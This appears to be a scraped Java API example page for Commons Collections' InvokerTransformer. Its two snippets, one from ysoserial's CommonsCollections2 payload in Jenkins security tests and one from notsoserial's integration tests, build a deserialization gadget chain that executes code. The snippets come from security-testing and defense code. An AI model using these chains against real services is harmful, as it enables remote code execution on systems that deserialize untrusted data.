Example usage for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer

Introduction

In this page you can find the example usage for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer.

Prototype

public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) 

Source Link

Document

Constructor that performs no validation.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);/*from  w w w . ja v a 2 s  .co m*/
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

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From source file:org.kantega.notsoserial.CreateBytesIT.java

private Object nastySerializable() {
    InvokerTransformer transformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {});

    Queue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));
    priorityQueue.add(1);/*from w w w.  j  a  va  2  s .  c o m*/
    priorityQueue.add(1);

    TemplatesImpl templates = createTemplates();

    setFieldValue(transformer, "iMethodName", "newTransformer");

    Object[] queue = (Object[]) getFieldValue(priorityQueue, "queue");
    queue[0] = templates;
    queue[1] = templates;
    return priorityQueue;
}

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